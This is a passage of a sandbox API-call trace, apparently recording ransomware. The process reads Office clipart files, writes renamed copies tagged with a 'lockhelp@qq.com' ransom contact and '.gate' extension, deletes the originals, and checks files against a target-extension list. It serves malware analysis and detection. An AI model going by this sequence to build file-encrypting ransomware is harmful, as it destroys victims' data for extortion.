lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xec4, lpOverlapped=0x0) returned 1 [0288.250] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xed0, lpOverlapped=0x0) returned 1 [0288.261] ReadFile (in: hFile=0x4c8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.261] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.261] SetEndOfFile (hFile=0x4cc) returned 1 [0288.261] CloseHandle (hObject=0x4cc) returned 1 [0288.279] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.279] SetEndOfFile (hFile=0x4c8) returned 1 [0288.281] CloseHandle (hObject=0x4c8) returned 1 [0288.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0288.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.282] lstrlenW (lpString=".doc") returned 4 [0288.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString=".docx") returned 5 [0288.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.282] lstrlenW (lpString=".pdf") returned 4 [0288.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString=".xls") returned 4 [0288.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.282] lstrlenW (lpString=".xlsx") returned 5 [0288.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.282] lstrlenW (lpString=".ppt") returned 4 [0288.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.282] lstrlenW (lpString=".zip") returned 4 [0288.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.282] lstrlenW (lpString=".rar") returned 4 [0288.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString=".bz2") returned 4 [0288.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString=".7z") returned 3 [0288.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.282] lstrlenW (lpString=".dbf") returned 4 [0288.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.283] lstrlenW (lpString=".1cd") returned 4 [0288.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.283] lstrlenW (lpString=".jpg") returned 4 [0288.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.283] lstrlenW (lpString=".doc") returned 4 [0288.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString=".docx") returned 5 [0288.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.283] lstrlenW (lpString=".pdf") returned 4 [0288.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString=".xls") returned 4 [0288.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.283] lstrlenW (lpString=".xlsx") returned 5 [0288.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.283] lstrlenW (lpString=".ppt") returned 4 [0288.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.283] lstrlenW (lpString=".zip") returned 4 [0288.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.283] lstrlenW (lpString=".rar") returned 4 [0288.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString=".bz2") returned 4 [0288.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString=".7z") returned 3 [0288.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.283] lstrlenW (lpString=".dbf") returned 4 [0288.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.283] lstrlenW (lpString=".1cd") returned 4 [0288.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0288.284] lstrlenW (lpString=".jpg") returned 4 [0288.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.284] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.284] lstrlenW (lpString="BL00296_.WMF") returned 12 [0288.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.284] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=812) returned 1 [0288.284] CloseHandle (hObject=0x4c8) returned 1 [0288.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0288.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.285] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.285] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0288.286] GetLastError () returned 0x0 [0288.286] ReadFile (in: hFile=0x4c8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x32c, lpOverlapped=0x0) returned 1 [0288.389] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x330, lpOverlapped=0x0) returned 1 [0288.389] ReadFile (in: hFile=0x4c8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.390] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.390] SetEndOfFile (hFile=0x4cc) returned 1 [0288.390] CloseHandle (hObject=0x4cc) returned 1 [0288.390] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.390] SetEndOfFile (hFile=0x4c8) returned 1 [0288.393] CloseHandle (hObject=0x4c8) returned 1 [0288.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0288.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.394] lstrlenW (lpString=".doc") returned 4 [0288.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.394] lstrlenW (lpString=".docx") returned 5 [0288.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.394] lstrlenW (lpString=".pdf") returned 4 [0288.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.394] lstrlenW (lpString=".xls") returned 4 [0288.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.394] lstrlenW (lpString=".xlsx") returned 5 [0288.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.394] lstrlenW (lpString=".ppt") returned 4 [0288.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.394] lstrlenW (lpString=".zip") returned 4 [0288.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.394] lstrlenW (lpString=".rar") returned 4 [0288.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.394] lstrlenW (lpString=".bz2") returned 4 [0288.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.394] lstrlenW (lpString=".7z") returned 3 [0288.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.394] lstrlenW (lpString=".dbf") returned 4 [0288.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.395] lstrlenW (lpString=".1cd") returned 4 [0288.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.395] lstrlenW (lpString=".jpg") returned 4 [0288.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.395] lstrlenW (lpString=".doc") returned 4 [0288.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString=".docx") returned 5 [0288.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.395] lstrlenW (lpString=".pdf") returned 4 [0288.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString=".xls") returned 4 [0288.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.395] lstrlenW (lpString=".xlsx") returned 5 [0288.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.395] lstrlenW (lpString=".ppt") returned 4 [0288.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.395] lstrlenW (lpString=".zip") returned 4 [0288.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.395] lstrlenW (lpString=".rar") returned 4 [0288.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString=".bz2") returned 4 [0288.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.395] lstrlenW (lpString=".7z") returned 3 [0288.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.396] lstrlenW (lpString=".dbf") returned 4 [0288.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.396] lstrlenW (lpString=".1cd") returned 4 [0288.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0288.396] lstrlenW (lpString=".jpg") returned 4 [0288.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.396] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.396] lstrlenW (lpString="BL00525_.WMF") returned 12 [0288.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.396] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9590) returned 1 [0288.396] CloseHandle (hObject=0x4c8) returned 1 [0288.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0288.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.397] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.397] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0288.398] GetLastError () returned 0x0 [0288.398] ReadFile (in: hFile=0x4c8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2576, lpOverlapped=0x0) returned 1 [0288.541] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2580, lpOverlapped=0x0) returned 1 [0288.542] ReadFile (in: hFile=0x4c8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.542] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.542] SetEndOfFile (hFile=0x4cc) returned 1 [0288.542] CloseHandle (hObject=0x4cc) returned 1 [0288.543] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.543] SetEndOfFile (hFile=0x4c8) returned 1 [0288.545] CloseHandle (hObject=0x4c8) returned 1 [0288.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0288.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.546] lstrlenW (lpString=".doc") returned 4 [0288.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.546] lstrlenW (lpString=".docx") returned 5 [0288.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.546] lstrlenW (lpString=".pdf") returned 4 [0288.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.546] lstrlenW (lpString=".xls") returned 4 [0288.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.546] lstrlenW (lpString=".xlsx") returned 5 [0288.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.546] lstrlenW (lpString=".ppt") returned 4 [0288.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.546] lstrlenW (lpString=".zip") returned 4 [0288.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.546] lstrlenW (lpString=".rar") returned 4 [0288.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString=".bz2") returned 4 [0288.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString=".7z") returned 3 [0288.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.547] lstrlenW (lpString=".dbf") returned 4 [0288.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.547] lstrlenW (lpString=".1cd") returned 4 [0288.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.547] lstrlenW (lpString=".jpg") returned 4 [0288.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.547] lstrlenW (lpString=".doc") returned 4 [0288.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString=".docx") returned 5 [0288.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.547] lstrlenW (lpString=".pdf") returned 4 [0288.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString=".xls") returned 4 [0288.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.547] lstrlenW (lpString=".xlsx") returned 5 [0288.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.547] lstrlenW (lpString=".ppt") returned 4 [0288.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.547] lstrlenW (lpString=".zip") returned 4 [0288.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.547] lstrlenW (lpString=".rar") returned 4 [0288.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.547] lstrlenW (lpString=".bz2") returned 4 [0288.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.548] lstrlenW (lpString=".7z") returned 3 [0288.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.548] lstrlenW (lpString=".dbf") returned 4 [0288.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.548] lstrlenW (lpString=".1cd") returned 4 [0288.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.548] lstrlenW (lpString=".jpg") returned 4 [0288.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.548] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.548] lstrlenW (lpString="BL00923_.WMF") returned 12 [0288.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.548] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6256) returned 1 [0288.548] CloseHandle (hObject=0x4c8) returned 1 [0288.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0288.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.549] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.549] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0288.549] GetLastError () returned 0x0 [0288.549] ReadFile (in: hFile=0x4c8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1870, lpOverlapped=0x0) returned 1 [0290.198] WriteFile (in: hFile=0x4cc, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1880, lpOverlapped=0x0) returned 1 [0290.199] ReadFile (in: hFile=0x4c8, 